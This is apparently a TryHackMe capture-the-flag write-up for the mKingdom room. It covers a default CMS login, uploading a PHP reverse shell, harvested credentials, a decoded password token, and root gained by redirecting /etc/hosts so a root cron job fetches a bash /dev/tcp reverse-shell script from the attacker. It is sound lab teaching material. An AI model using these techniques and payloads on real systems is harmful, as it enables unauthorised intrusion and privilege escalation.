TryHackMe: mKingdom
mKindgom was a room that i had tried to do before and wasn’t able to get the root flag, i wasn’t understanding how to get it, so i decided to leave it. A month later, here i am completing the room with little to no problems. We fall to get up, it’s just a matter of when will you get up, not how.
https://tryhackme.com/room/mkindgom
Initial Enumeration
Nmap Scan
We start with our nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV -Pn -p- 10.10.234.155
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 15:16 GMT
Nmap scan report for 10.10.234.155
Host is up (0.064s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
85/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0H N0! PWN3D 4G4IN
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.42 seconds
Web 85
Only one open port, and navigating to it, we see the following:
Gobuster Scan
Source code didn’t have anything, so we proceed to our gobuster scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -x ".txt,.html,.php" -t 25 --timeout 20s -u http://10.10.234.155:85
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.234.155:85
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Timeout: 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
...
/app (Status: 301) [Size: 314] [--> http://10.10.234.155:85/app/]
/index.html (Status: 200) [Size: 647]
/index.html (Status: 200) [Size: 647]
/server-status (Status: 403) [Size: 293]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================
We find an app
directory that inside had only a button:
And clicking the button redirects us to a castle
directory:
Couldn’t find much, so we do another gobuster scan but now inside castle:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -x ".txt,.html,.php" -t 25 --timeout 20s -u http://10.10.234.155:85/app/castle
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.234.155:85/app/castle
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Timeout: 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
...
/application (Status: 301) [Size: 333] [--> http://10.10.234.155:85/app/castle/application/]
/concrete (Status: 301) [Size: 330] [--> http://10.10.234.155:85/app/castle/concrete/]
/index.php (Status: 200) [Size: 12059]
/packages (Status: 301) [Size: 330] [--> http://10.10.234.155:85/app/castle/packages/]
/robots.txt (Status: 200) [Size: 532]
/updates (Status: 301) [Size: 329] [--> http://10.10.234.155:85/app/castle/updates/]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================
Starting with robots.txt
, we see that it doesn’t allow some application folders:
There wasn’t much more to the directories but we end up finding a login page for the CMS:
Trying some default credentials, we were able to get inside with admin:password
:
Shell as www-data
Looking around we see that we can upload files, this means we could try sending a reverse shell. At first it gave us an error on file type not allowed, but we can get around this we just need to go to System & Settings > Allowed File Types and add php:
After that we just need to upload a reverse shell to the File Manager:
Now we just need to start a listener on our machine and open the shell location:
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -vlnp 4444
listening on [any] 4444 ...
connect to [-] from (UNKNOWN) [10.10.234.155] 50932
Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
10:28:51 up 13 min, 0 users, load average: 0.12, 0.20, 0.24
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
/bin/sh: 0: can't access tty; job control turned off
$
Shell as toad
Since we are now inside the system we can try and look at the folders that were disallowed in robots.txt
. And looking at the config
folder we find a file called database.php
, and inside it we see some credentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@mkingdom:/var/www/html/app/castle/application/config$ cat database.php
<?php
return [
'default-connection' => 'concrete',
'connections' => [
'concrete' => [
'driver' => 'c5_pdo_mysql',
'server' => 'localhost',
'database' => 'mKingdom',
'username' => 'toad',
'password' => 'toadisthebest',
'character_set' => 'utf8',
'collation' => 'utf8_unicode_ci',
],
],
];
Looking inside mysql we can’t find much so we try to switch to toad in the shell, and it works:
1
2
3
www-data@mkingdom:~$ su toad
Password:
toad@mkingdom:~$
Shell as mario
Enumerating toad, looking at the env variables, we see a weird PWD_token
:
1
2
3
4
toad@mkingdom:/$ env
...
PWD_token=aWthVGVOVEFOdEVTCg==
...
Its encoded in base 64, and decoding it gave us what looks like a password:
1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "aWthVGVOVEFOdEVTCg==" | base64 -d
ikaTeNTANtES
Could be mario’s password, and after trying we are inside:
1
2
3
toad@mkingdom:~$ su mario
Password:
mario@mkingdom:~$
We find the user flag inside mario but we can’t read it, which is weird since we have read permissions:
1
2
3
4
5
6
7
mario@mkingdom:~$ ls
Desktop Downloads Pictures Templates Videos
Documents Music Public user.txt
mario@mkingdom:~$ cat user.txt
cat: user.txt: Permission denied
mario@mkingdom:~$ ll user.txt
-rw-r--r-- 1 root root 38 Nov 27 2023 user.txt
Looking around for other cat binaries we find one, so we can try using it instead of the normal /bin/cat
:
1
2
3
4
5
mario@mkingdom:~$ find / -name "cat" 2>/dev/null
/bin/cat
/usr/lib/klibc/bin/cat
mario@mkingdom:~$ /usr/lib/klibc/bin/cat user.txt
thm{REDACTED}
Shell as root
Enumerating mario we can’t find much even after running linpeas.sh
, so we use pspy
to see if any processes are running:
1
2
2025/02/17 11:12:01 CMD: UID=0 PID=6340 | curl mkingdom.thm:85/app/castle/application/counter.sh
2025/02/17 11:12:01 CMD: UID=0 PID=6339 | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
We see that a request to a counter.sh
file is being made from time to time. And looking back at linpeas.sh
we see that we have write permissions to /etc/hosts
, this means that we can trick the application into talking with our machine instead of its own:
1
2
3
4
5
6
7
8
9
10
11
12
13
mario@mkingdom:/$ cat /etc/hosts
127.0.0.1 localhost
- mkingdom.thm
127.0.0.1 backgroundimages.concrete5.org
127.0.0.1 www.concrete5.org
127.0.0.1 newsflow.concrete5.org
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Using nano can be very difficult because on the netcat shell, so to do this part just copy everything from the original
/etc/hosts
, change it in mousepad or any text editor and then, with the echo command, re-write to the original file with>
.
Now we need to replicate the same folder structure to get to counter.sh
and change the script to a reverse shell:
1
2
3
┌──(kali㉿kali)-[~/Desktop/app/castle/application]
└─$ cat counter.sh
bash -c 'bash -i >& /dev/tcp/-/400 0>&1'
Lastly, we start a server where the app
folder is located in our machine, and a listener on port 400(or the port of choice). Then we just wait a little for the process to run to get the root shell:
1
2
3
4
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.234.155 - - [17/Feb/2025 16:30:02] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
Now inside we can finally read the root flag, but only with the other cat
binary we found earlier:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -vlnp 400
listening on [any] 400 ...
connect to [-] from (UNKNOWN) [10.10.234.155] 55036
bash: cannot set terminal process group (6588): Inappropriate ioctl for device
bash: no job control in this shell
root@mkingdom:~# /usr/lib/klibc/bin/cat root.txt
thm{REDACTED}